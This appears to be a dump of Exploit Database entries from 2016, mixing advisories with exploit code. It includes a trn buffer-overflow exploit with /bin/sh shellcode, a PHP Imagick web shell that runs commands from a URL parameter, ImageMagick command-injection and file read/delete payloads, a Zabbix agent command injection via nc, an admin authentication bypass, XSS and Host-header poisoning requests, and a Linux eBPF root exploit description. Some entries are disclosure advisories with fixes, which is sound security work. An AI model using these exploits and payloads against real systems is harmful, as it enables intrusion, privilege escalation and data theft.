[ 1850.676653] ---[ end trace 90333448b9273067 ]---
[ 1850.676655] Fixing recursive fault but reboot is needed!
I believe that this issue illustrates that reference count hardening
makes sense, even without reference leaks.
A suggested patch (compile-tested) is attached.
Fixed in https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/kernel/bpf?id=92117d8443bc5afacc8d5ba82e541946310f106e
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39773.zip

57
platforms/linux/local/39764.py Executable file
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# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: Threaded USENET news reader
# Version: 3.6-23
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Threaded USENET news reader, based on rn
# trn is the most widely-used newsreader on USENET
# Kali Linux 2.0 package: pool/non-free/t/trn/trn_3.6-23_i386.deb
# MD5sum: 57782e66c4bf127af0d252db9439fbdf
# Website: https://sourceforge.net/projects/trn/
#
# gdb$ run $(python -c 'print "A"*156+"DCBA"')
# Starting program: /usr/bin/trn $(python -c 'print "A"*156+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
# EAX: 0x00000000 EBX: 0x41414141 ECX: 0x00000000 EDX: 0x0809040C o d I t S z a p c
# ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFFFED60 EIP: 0x41424344
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()
import os, subprocess
def run():
try:
print "# TRN Threaded Reader - Stack Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack"
# NOPSLED + SHELLCODE + EIP
buffersize = 160
nopsled = "\x90"*132
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\xd0\xec\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["trn ",' ', buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, Threaded Reader - Not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit TRN 3.6-23 Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()

91
platforms/linux/local/39769.txt Executable file
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CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection
--------------------------------------------------------------------
Affected products
=================
At least Zabbix Agent 1:3.0.1-1+wheezy from
http://repo.zabbix.com/zabbix/3.0/debian is vulnerable. Other versions
were not tested.
Background
==========
"Zabbix agent is deployed on a monitoring target to actively monitor
local resources and applications (hard drives, memory, processor
statistics etc).
The agent gathers operational information locally and reports data to
Zabbix server for further processing. In case of failures (such as a
hard disk running full or a crashed service process), Zabbix server
can actively alert the administrators of the particular machine that
reported the failure.
Zabbix agents are extremely efficient because of use of native system
calls for gathering statistical information."
-- https://www.zabbix.com/documentation/3.0/manual/concepts/agent
Description
===========
Zabbix agent listens on port 10050 for connections from the Zabbix
server. The commands can be built-in or user-defined.
The mysql.size user parameter defined in
/etc/zabbix/zabbix_agentd.d/userparameter_mysql.conf takes three input
parameters and uses a shell script to generate an SQL query:
UserParameter=mysql.size[*],echo "select sum($(case "$3" in both|"") echo "data_length+index_length";; data|index) echo "$3_length";; free) echo "data_free";; esac)) from information_schema.tables$([[ "$1" = "all" || ! "$1" ]] || echo " where table_schema='$1'")$([[ "$2" = "all" || ! "$2" ]] || echo "and table_name='$2'");" | HOME=/var/lib/zabbix mysql -N
The code assumes that /bin/sh is bash that supports the [[ compound
command. However, if /bin/sh is for example dash the statement
[[ "$1" = "all" || ! "$1" ]]
ends up executing the command "$1" with the argument "]]".
Exploit
=======
Zabbix sanitizes the input and blocks many dangerous characters
("\\'\"`*?[]{}~$!&;()<>|#@\n"). Since we cannot use quotes we cannot
give our shell commands any parameters which significantly reduces the
impact of this vulnerability. If you find a way to execute arbitrary
commands using this flaw I'd be really interested in the details. The
following proof-of-concept shows how the vulnerability can be used
escalate privileges locally:
$ echo -en '#!/bin/bash\necho "This code is running as $(id)" 1>&2\n' > /tmp/owned
$ chmod a+rx /tmp/owned
$ echo 'mysql.size[/tmp/owned,all,both]' | nc localhost 10050 | cat -A
ZBXD^AM-^O^@^@^@^@^@^@^@sh: 1: [[: not found$
This code is running as uid=110(zabbix) gid=114(zabbix) groups=114(zabbix)$
sh: 1: [[: not found$
sh: 1: all: not found$
The exploit of course assumes that the Server line in the
configuration includes "127.0.0.1". If the agent is configured to
accept connections only from the Zabbix server. In that case this
issue can only be exploited from the server or by spoofing the IP
address of the server (with for example ARP spoofing).
Since output of the command is piped to mysql it might be possible to
also execute some SQL commands in the database.
Author
======
This issue was discovered by Timo Lindfors from Nixu Corporation.
Timeline
========
2016-04-19: Issue discovered and reported internally for verification.
2016-04-21: Issue reported to vendor.
2016-04-22: Vendor acknowledges vulnerability and starts patching.
2016-04-26: Asked status update from vendor.
2016-04-26: Vendor responds that the issue is still being patched.
2016-04-26: CVE requested from MITRE.
2016-04-28: MITRE assigned CVE-2016-4338 for this vulnerability.
2016-05-02: Vendor published details in the issue tracker https://support.zabbix.com/browse/ZBX-10741

129
platforms/linux/local/39772.txt Executable file
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.
When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:
/* look for pseudo eBPF instructions that access map FDs and
* replace them with actual map pointers
*/
static int replace_map_fd_with_map_ptr(struct verifier_env *env)
{
struct bpf_insn *insn = env->prog->insnsi;
int insn_cnt = env->prog->len;
int i, j;
for (i = 0; i < insn_cnt; i++, insn++) {
[checks for bad instructions]
if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
struct bpf_map *map;
struct fd f;
[checks for bad instructions]
f = fdget(insn->imm);
map = __bpf_map_get(f);
if (IS_ERR(map)) {
verbose("fd %d is not pointing to valid bpf_map\n",
insn->imm);
fdput(f);
return PTR_ERR(map);
}
[...]
}
}
[...]
}
__bpf_map_get contains the following code:
/* if error is returned, fd is released.
* On success caller should complete fd access with matching fdput()
*/
struct bpf_map *__bpf_map_get(struct fd f)
{
if (!f.file)
return ERR_PTR(-EBADF);
if (f.file->f_op != &bpf_map_fops) {
fdput(f);
return ERR_PTR(-EINVAL);
}
return f.file->private_data;
}
The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.
A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.
One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.
There are two problems with this approach:
The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).
In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)
writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.
An exploit that puts all this together is in exploit.tar. Usage:
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
This exploit was tested on a Ubuntu 16.04 Desktop system.
Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7
Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
E-DB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip

192
platforms/multiple/dos/39767.txt Executable file
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Nikolay Ermishkin from the Mail.Ru Security Team discovered several
vulnerabilities in ImageMagick.
We've reported these issues to developers of ImageMagick and they made a
fix for RCE in sources and released new version (6.9.3-9 released
2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this
fix seems to be incomplete. We are still working with developers.
ImageMagick: Multiple vulnerabilities in image decoder
1. CVE-2016-3714 - Insufficient shell characters filtering leads to
(potentially remote) code execution
Insufficient filtering for filename passed to delegate's command allows
remote code execution during conversion of several file formats.
ImageMagick allows to process files with external libraries. This
feature is called 'delegate'. It is implemented as a system() with
command string ('command') from the config file delegates.xml with
actual value for different params (input/output filenames etc). Due to
insufficient %M param filtering it is possible to conduct shell command
injection. One of the default delegate's command is used to handle https
requests:
"wget" -q -O "%o" "https:%M"
where %M is the actual link from the input. It is possible to pass the
value like `https://example.com"|ls "-la` and execute unexpected 'ls
-la'. (wget or curl should be installed)
$ convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
The most dangerous part is ImageMagick supports several formats like
svg, mvg (thanks to https://hackerone.com/stewie for his research of
this file format and idea of the local file read vulnerability in
ImageMagick, see below), maybe some others - which allow to include
external files from any supported protocol including delegates. As a
result, any service, which uses ImageMagick to process user supplied
images and uses default delegates.xml / policy.xml, may be vulnerable to
this issue.
exploit.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
exploit.svg
-=-=-=-=-=-=-=-=-
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg"|ls "-la"
x="0" y="0" height="640px" width="480px"/>
</svg>
$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...
ImageMagick tries to guess the type of the file by it's content, so
exploitation doesn't depend on the file extension. You can rename
exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In
addition, ImageMagick's tool 'identify' is also vulnerable, so it can't
be used as a protection to filter file by it's content and creates
additional attack vectors (e.g. via 'less exploit.jpg', because
'identify' is invoked via lesspipe.sh).
Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16
x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest
sources from 6 and 7 branches all are vulnerable. Ghostscript and wget
(or curl) should be installed on the system for successful PoC
execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.
All other issues also rely on dangerous ImageMagick feature of external
files inclusion from any supported protocol in formats like svg and mvg.
2. CVE-2016-3718 - SSRF
It is possible to make HTTP GET or FTP request:
ssrf.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
$ convert ssrf.mvg out.png # makes http request to example.com
3. CVE-2016-3715 - File deletion
It is possible to delete files by using ImageMagick's 'ephemeral' pseudo
protocol which deletes files after reading:
delete_file.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt
4. CVE-2016-3716 - File moving
It is possible to move image files to file with any extension in any
folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and
image.gif should exist in known location - /tmp/ for PoC (in real life
it may be web service written in PHP, which allows to upload raw txt
files and process images with ImageMagick):
file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
/tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>

/tmp/image.gif - image with php shell inside
(https://www.secgeek.net/POC/POC.gif for example)
$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php
5. CVE-2016-3717 - Local file read (independently reported by original
research author - https://hackerone.com/stewie)
It is possible to get content of the files from the server by using
ImageMagick's 'label' pseudo protocol:
file_read.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context
$ convert file_read.mvg out.png # produces file with text rendered from
/etc/passwd
How to mitigate the vulnerability.
Available patches appear to be incomplete.
If you use ImageMagick or an affected library, we recommend you mitigate
the known vulnerabilities by doing at least one these two things (but
preferably both!):
1. Verify that all image files begin with the expected <20>magic bytes<65>
corresponding to the image file types you support before sending them to
ImageMagick for processing. (see FAQ for more info)
2. Use a policy file to disable the vulnerable ImageMagick coders. The
global policy for ImageMagick is usually found in <20>/etc/ImageMagick<63>.
This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and
MSL:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
Vulnerability Disclosure Timeline:
April, 21 2016 - file read vulnerability report for one of My.Com
services from https://hackerone.com/stewie received by Mail.Ru Security
Team. Issue is reportedly known to ImageMagic team.
April, 21 2016 - file read vulnerability patched by My.Com development team
April, 28 2016 - code execution vulnerability in ImageMagick was found
by Nikolay Ermishkin from Mail.Ru Security Team while researching
original report
April, 30 2016 - code execution vulnerability reported to ImageMagick
development team
April, 30 2016 - code execution vulnerability fixed by ImageMagick
(incomplete fix)
April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)
May, 1 2016 - ImageMagic informed of the fix bypass
May, 2 2016 - limited disclosure to 'distros' mailing list
May, 3 2016 - public disclosure at https://imagetragick.com/

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Source: http://web-in-security.blogspot.ca/2016/05/curious-padding-oracle-in-openssl-cve.html
TLS-Attacker:
https://github.com/RUB-NDS/TLS-Attacker
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39768.zip
You can use TLS-Attacker to build a proof of concept and test your implementation. You just start TLS-Attacker as follows:
java -jar TLS-Attacker-1.0.jar client -workflow_input rsa-overflow.xml -connect $host:$port
The xml configuration file (rsa-overflow.xml) looks then as follows:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
<protocolMessages>
<ClientHello>
<messageIssuer>CLIENT</messageIssuer>
<includeInDigest>true</includeInDigest>
<extensions>
<EllipticCurves>
<supportedCurvesConfig>SECP192R1</supportedCurvesConfig>
<supportedCurvesConfig>SECP256R1</supportedCurvesConfig>
<supportedCurvesConfig>SECP384R1</supportedCurvesConfig>
<supportedCurvesConfig>SECP521R1</supportedCurvesConfig>
</EllipticCurves>
</extensions>
<supportedCompressionMethods>
<CompressionMethod>NULL</CompressionMethod>
</supportedCompressionMethods>
<supportedCipherSuites>
<CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA</CipherSuite>
<CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA</CipherSuite>
<CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA256</CipherSuite>
<CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA256</CipherSuite>
</supportedCipherSuites>
</ClientHello>
<ServerHello>
<messageIssuer>SERVER</messageIssuer>
</ServerHello>
<Certificate>
<messageIssuer>SERVER</messageIssuer>
</Certificate>
<ServerHelloDone>
<messageIssuer>SERVER</messageIssuer>
</ServerHelloDone>
<RSAClientKeyExchange>
<messageIssuer>CLIENT</messageIssuer>
</RSAClientKeyExchange>
<ChangeCipherSpec>
<messageIssuer>CLIENT</messageIssuer>
</ChangeCipherSpec>
<Finished>
<messageIssuer>CLIENT</messageIssuer>
<records>
<Record>
<plainRecordBytes>
<byteArrayExplicitValueModification>
<explicitValue>
3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
</explicitValue>
</byteArrayExplicitValueModification>
</plainRecordBytes>
</Record>
</records>
</Finished>
<ChangeCipherSpec>
<messageIssuer>SERVER</messageIssuer>
</ChangeCipherSpec>
<Finished>
<messageIssuer>SERVER</messageIssuer>
</Finished>
</protocolMessages>
</workflowTrace>
It looks to be complicated, but it is just a configuration for a TLS handshake used in TLS-Attacker, with an explicit value for a plain Finished message (32 0x3F bytes). If you change the value in the Finished message, you will see a different alert message returned by the server.

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# Exploit Title: Alibaba Clone B2B Script Admin Authentication Bypass
# Date: 2016-05-03
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://alibaba-clone.com/
# Version: All Versions
Exploit :
For enter , simply enter the following code
http://server/admin/adminhome.php?tmp=1
For each page is enough to add the following code to the end of url
example see page members :
http://server/admin/members.php?tmp=1
or add a new news :
http://server/admin/hot_news_menu.php?tmp=1
or edit news :
http://server/admin/edit_hot_news.php?hotnewsid=44&tmp=1

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=============================================
Web Server Cache Poisoning in CMS Made Simple
=============================================
CVE-2016-2784
Product Description
===================
CMS Made Simple is a great tool with many plugins to publish content on the Web. It aims to
be simple to use by end users and to provide a secure and robust website.
Website: http://www.cmsmadesimple.org/
Description
===========
A remote unauthenticated attacker can insert malicious content in a CMS Made Simple
installation by poisoning the web server cache when Smarty Cache is activated by modifying
the Host HTTP Header in his request.
The vulnerability can be triggered only if the Host header is not part of the web server
routing process (e.g. if several domains are served by the same web server).
This can lead to phishing attacks because of the modification of the site's links,
defacement or Cross-Site-Scripting attacks by a lack of filtering of HTML entities in
$_SERVER variable.
**Access Vector**: remote
**Security Risk**: medium
**Vulnerability**: CWE-20
**CVSS Base score**: 5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
----------------
Proof of Concept
----------------
Request that shows improper HTML entities filtering and will insert
' onload='javacript:alert(Xss) in the pages :
GET / HTTP/1.1
Host: ' onload='javascrscript:ipt:alert(Xss)
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Request that changes the root domain for all links and allows to redirect to external
websites :
GET / HTTP/1.1
Host: www.malicious.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Solution
========
Use the variable $_SERVER['SERVER_NAME'] instead of the variable $_SERVER['HTTP_HOST']
given that the server name is correctly defined or use an application specific
constant.
Fixes
=====
Upgrade to CMS Made Simple 2.1.3 or 1.12.2.
See http://www.cmsmadesimple.org/2016/03/Announcing-CMSMS-1-12-2-kolonia and
http://www.cmsmadesimple.org/2016/04/Announcing-CMSMS-2-1-3-Black-Point for upgrade
instructions.
Mitigation : disable Smarty caching in the admin panel.
Affected Versions
=================
CMS Made Simple < 2.1.3 and < 1.12.2
Vulnerability Disclosure Timeline
=================================
02-24-2016: Vendor contacted
02-24-2016: Vulnerability confirmed by the vendor
03-01-2016: CVE identifier assigned
03-28-2016 & 04-16-2016: Vendor patch release
05-03-2016: Public Disclosure
Credits
=======
* Mickaël Walter, I-Tracing (lab -at- i-tracing -dot- com)
Website: http://www.i-tracing.com/

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1. Introduction
# Exploit Title: Acunetix WP Security 3.0.3 XSS
# Date: May.03.2016
# Exploit Author: Johto Robbie
# Facebook: https://www.facebook.com/johto.robbie
# Vendor: VN Hacker News
# Tested On: Apache 2.4.17 / PHP 5.6.16 / Windows 10 / WordPress 4.5.1
# Category: Webapps
# Software Link:
http://localhost:8888/wordpress/wp-admin/admin.php?page=swpa_live_traffic
2. Descryption:
I have to insert scripts into the content search wordpress. The result is
that it is logging in Acunetix Secure WordPress. Taking advantage of this,
I have exploited XSS vulnerability
<span class="w-entry"><a
href="http://localhost:8888/wordpress/?s="><script>alert("Johto.Robbie"</script>"
target="_blank" title="Opens in a new tab">
http://localhost:8888/wordpress/?s=
"><script>alert("Johto.Robbie"</script></a></span>
Video Demonstration:
https://www.youtube.com/watch?v=L8t3_HGriP8&feature=youtu.be
3. Report Timeline
02-05-2016 : Discovered
02-05-2016 : Vendor notified
4. Solution
Update to version 4.5.1

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# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
# Exploit Author: RicterZ (ricter@chaitin.com)
# Vendor Homepage: https://pecl.php.net/package/imagick
# Version: Imagick <= 3.3.0 PHP >= 5.4
# Test on: Ubuntu 12.04
# Exploit:
<?php
# PHP Imagick disable_functions Bypass
# Author: Ricter <ricter@chaitin.com>
#
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";
$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
pop graphic-context
EOF;
file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();
echo file_get_contents($data_file);
?>

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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=817
Fuzzing packed executables with McAfee's LiveSafe 14.0 on Windows found a signedness error parsing sections and relocations. The attached fuzzed testcase demonstrates this and causes a crash in mscan64a.dll. I verified that this crash reproduces on Linux and Windows, all version of McAfee appear to be affected including the embedded version and the SDK.
Naturally, this code runs as SYSTEM on Windows, with no sandboxing and is used to parse untrusted remote input.
0:045> .lastevent
Last event: d34.13a4: Access violation - code c0000005 (first chance)
debugger time: Tue Apr 5 15:02:40.009 2016 (UTC - 7:00)
0:045> r
rax=00000000306f1000 rbx=00000000306f1000 rcx=00000000ffffffff
rdx=00000001031d114f rsi=00000000031d1150 rdi=00000000306f4000
rip=00000000711a36fa rsp=00000000064748a0 rbp=00000000031ca880
r8=00000000000005d3 r9=00000000306f0fff r10=8d00008661e82404
r11=0000000000000000 r12=00000000306f4000 r13=000000000647917c
r14=000000001070c1b8 r15=00000000031ca698
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
mscan64a!RetrieveSingleExtensionList+0x19844a:
00000000`711a36fa 0fb64a01 movzx ecx,byte ptr [rdx+1] ds:00000001`031d1150=??
Okay, what happened there?
0:007> ub
mscan64a!RetrieveSingleExtensionList+0x198437:
00000000`71fd36e7 8b45c8 mov eax,dword ptr [rbp-38h]
00000000`71fd36ea 8b08 mov ecx,dword ptr [rax]
00000000`71fd36ec 8d4101 lea eax,[rcx+1]
00000000`71fd36ef 3bc7 cmp eax,edi
00000000`71fd36f1 7332 jae mscan64a!RetrieveSingleExtensionList+0x198475 (00000000`71fd3725)
00000000`71fd36f3 2bcb sub ecx,ebx
00000000`71fd36f5 8bd1 mov edx,ecx
00000000`71fd36f7 4803d6 add rdx,rsi
0:007> dd @rbp-38 L1
00000000`0c529018 0c52d7ac
0:007> dd 0c52d7ac L1
00000000`0c52d7ac 90000fff
So it looks like that calculation is used as an index into @rsi, which is obviously going to be oob.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39770.zip